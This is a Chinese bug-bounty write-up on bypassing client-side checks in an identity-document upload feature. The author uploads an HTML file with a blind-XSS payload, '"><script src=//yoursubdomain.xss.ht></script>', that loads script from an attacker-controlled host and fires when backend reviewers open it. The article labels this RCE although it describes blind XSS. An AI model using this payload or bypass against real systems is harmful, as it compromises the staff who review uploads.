怎么利用文件上傳功能構(gòu)造實現(xiàn)針對后端驗證機制的RCE漏洞

這篇文章將為大家詳細講解有關(guān)怎么利用文件上傳功能構(gòu)造實現(xiàn)針對后端驗證機制的RCE漏洞，文章內(nèi)容質(zhì)量較高，因此小編分享給大家做個參考，希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。

針對身份驗證功能的目標Web應(yīng)用，對其文件上傳功能點進行利用，繞過了其客戶端校驗方式，以Web應(yīng)用后端文件核實人員為目標，構(gòu)造上傳了可執(zhí)行Payload的文件，結(jié)合XSS Hunter實現(xiàn)了遠程代碼執(zhí)行（RCE）。這種漏洞測試姿勢算是常見，但怎么一個繞過招式就變成了高危的RCE了呢？下面一起來看看測試思路。

分析目標

在參與廠商的眾測項目之前，我會先去了解該項目的一些運行數(shù)據(jù)信息，如賞金范圍和項目持續(xù)時間等，如果你覺得這樣毫無必要的話，那么盲目地參與可能會與一些好項目擦肩而過。我參與這個項目就是個例子，我大約于2019年5月收到測試邀請，該項目自2016年就運行至今，有效漏洞提交量總共150多個。但不管怎樣，我還是對其做了一番了解。之后，我又從其在HackerOne上的項目更新中看到，有一些新的服務(wù)端被陸續(xù)添加進入測試范圍，并在測試策略（Policy）中具體描述了廠商對哪些漏洞比較感興趣。

經(jīng)驗1：漏洞總是有的。前期的測試目標可能和新增測試目標一樣存在很多漏洞。

了解目標

從HackerOne上的項目更新策略中可知，廠商對第三方合作伙伴Web應(yīng)用網(wǎng)站partner.program.com的某子域名站點存在的漏洞較為關(guān)注。訪問該子域名網(wǎng)站后，我發(fā)現(xiàn)它是一個允許用戶注冊成為廠商合作伙伴或附屬機構(gòu)的Web應(yīng)用。通常我喜歡關(guān)注Web應(yīng)用的訪問授權(quán)功能，一般我會在Web應(yīng)用中注冊至少兩個賬戶以備測試。因為兩個賬戶可以方便地進行越權(quán)（IDOR）測試。在注冊登錄之后，我發(fā)現(xiàn)了其中一個有意思的地方：身份驗證文件上傳。

這就是使用該Web應(yīng)用的第一步。由于目標廠商是一家商貿(mào)公司，合作伙伴和用戶需要通過上傳他們的**/***等證明來通過身份驗證，才能開始使用Web應(yīng)用。終于遇到對手了，我非常喜歡搗鼓文件上傳功能了。

經(jīng)驗2：不要忽視一些看似正常的功能。比如搜索欄位置可能會存在一些“致命”的XSS或SQL注入漏洞，而1337名白帽都會把它忽視。

漏洞發(fā)現(xiàn)

以前我曾發(fā)現(xiàn)過一些文件上傳功能漏洞，總結(jié)來說：需要認真分析其具體的上傳機制，比如其限制屬性有什么、規(guī)定上傳文件格式有哪些，等等，一般這些都是問題所在。由于這是一個身份驗證證明的上傳功能點，所以通常會存在兩種證明文件驗證機制：要么其后臺有一個自動程序來驗證用戶上傳的證明文件，要么其后端有一個實際的工作人員來通過用戶上傳證明文件核對用戶身份。該上傳功能如下：

上圖顯示，Web應(yīng)用后端只接收PNG、JPG、PDF或BMP格式文件，因此，我嘗試上傳了一些非可接受格式文件，看看后端服務(wù)的反應(yīng)如何。但很遺憾，后端服務(wù)完全沒反應(yīng)。即使從Burp的請求歷史中，也沒有發(fā)現(xiàn)任何文件限制響應(yīng)消息或相應(yīng)的請求記錄，我有點懵了。只是，如果上傳有效的JPG文件（foobar.jpg）后，會產(chǎn)生以下樣式的上傳請求：

這是什么意思？

這貌似表示其中還有一種客戶端校驗措施，如果用Burp來攔截上傳請求然后改包，很容易繞過這種客戶端檢查。比如，我們攔截上傳請求，然后把請求修改如下，其中上傳的JPG文件名被修改為了foorbar.foo：

執(zhí)行這樣的請求后，后端響應(yīng)了請求成功，服務(wù)器成功創(chuàng)建文件的“201 Created”狀態(tài)碼，并返回響應(yīng)了文件的上體id：

{"file_id":16xxxxx1}

這看似非常不錯。但是我們上傳的文件去了哪呢？回到Web應(yīng)用中，卻出問題了：

然而，刷新文件上傳頁面后，卻出現(xiàn)了驚喜，剛剛上傳的文件出現(xiàn)在了待上傳文件區(qū)，如下：

只不過它是后綴為.foo且文件名是一串哈希值的文件：34beduc…….3dfed.foo。如果再次上傳同一個文件，其作為文件名的哈希值會再次發(fā)生變化，成為fd33d3f……38338999dee.foo這樣子的。也就是說，文件后綴不會變，但文件名每次都會被哈希成新的值，所以，要想在后端服務(wù)器中來發(fā)現(xiàn)并執(zhí)行該上傳文件估計有點難度。那我們?nèi)绾蝸韺λM行漏洞利用呢？你會怎么做？

漏洞驗證

我是這樣考慮的，針對目標Web應(yīng)用的后端環(huán)境，必須構(gòu)造上傳一種可被執(zhí)行運行的文件。如果Web應(yīng)用后端是一個工作人員來核對上傳文件，那么會存在多種情況，他使用的是Linux、Windows還是Mac系統(tǒng)？不同的系統(tǒng)可能會對上傳文件中的Payload造成影響。如果Web應(yīng)用后端是自動驗證程序，那至少我需要它能響應(yīng)返回一些消息，我才能判斷上傳文件是否被執(zhí)行了。所以，這樣看來，還是有些麻煩。

之后，我想到了XSS Hunter。

如果你沒用過XSS Hunter，請訪問它的主頁進行了解，它是一個Blind XSS利器，可實現(xiàn)一些隱蔽XSS的測試發(fā)現(xiàn)、反饋響應(yīng)和監(jiān)測管理。使用方式在于先注冊XSS Hunter賬號，通過注冊xss.ht域名形成自己的短域yoursubdomain.xss.ht，用它實現(xiàn)Payload的識別和托管，然后構(gòu)造XSS Payload如 "><script src=//yoursubdomain.xss.ht></script>植入目標應(yīng)用中待受害者點擊，如果該Payload被有效執(zhí)行，其內(nèi)置域名yoursubdomain.xss.ht的相關(guān)請求會被XSS    Hunter探測到，之后，XSS Hunter會通過你的XSS Hunter注冊預(yù)留郵箱給予你反饋提醒。

在我預(yù)想的上述后端驗證環(huán)境中，HTML文件應(yīng)該是最容易被執(zhí)行的了， 所以我想到了用Burp抓包改包，并配合XSS Hunter來構(gòu)造Payload，來嘗試觸發(fā)上傳HTML文件的執(zhí)行。該測試目的在于檢測Web應(yīng)用后端的文件驗證機制是否存在XSS等代碼可執(zhí)行漏洞。我最終構(gòu)造的請求如下，上傳文件實體為HTML內(nèi)容，先把它命名為.png圖片格式，上傳后，通過Burp抓包改包，再把它修改為后期可執(zhí)行的.html格式：

改包后在文件待上傳區(qū)顯示的文件為：

然后執(zhí)行上傳即可，這是典型的客戶端校驗繞過姿勢。

好戲是，兩天之后，我收到了XSS Hunter的反饋提醒，提示我們的Payload被成功觸發(fā)執(zhí)行了3次：

看似我們HTML的Payload文件被目標Web應(yīng)用后端的文件核實人員點擊執(zhí)行了，從XSS Hunter反饋回來的報告可看到一些受害者IP和User Agent等系統(tǒng)基本信息。

關(guān)于怎么利用文件上傳功能構(gòu)造實現(xiàn)針對后端驗證機制的RCE漏洞就分享到這里了，希望以上內(nèi)容可以對大家有一定的幫助，可以學(xué)到更多知識。如果覺得文章不錯，可以把它分享出去讓更多的人看到。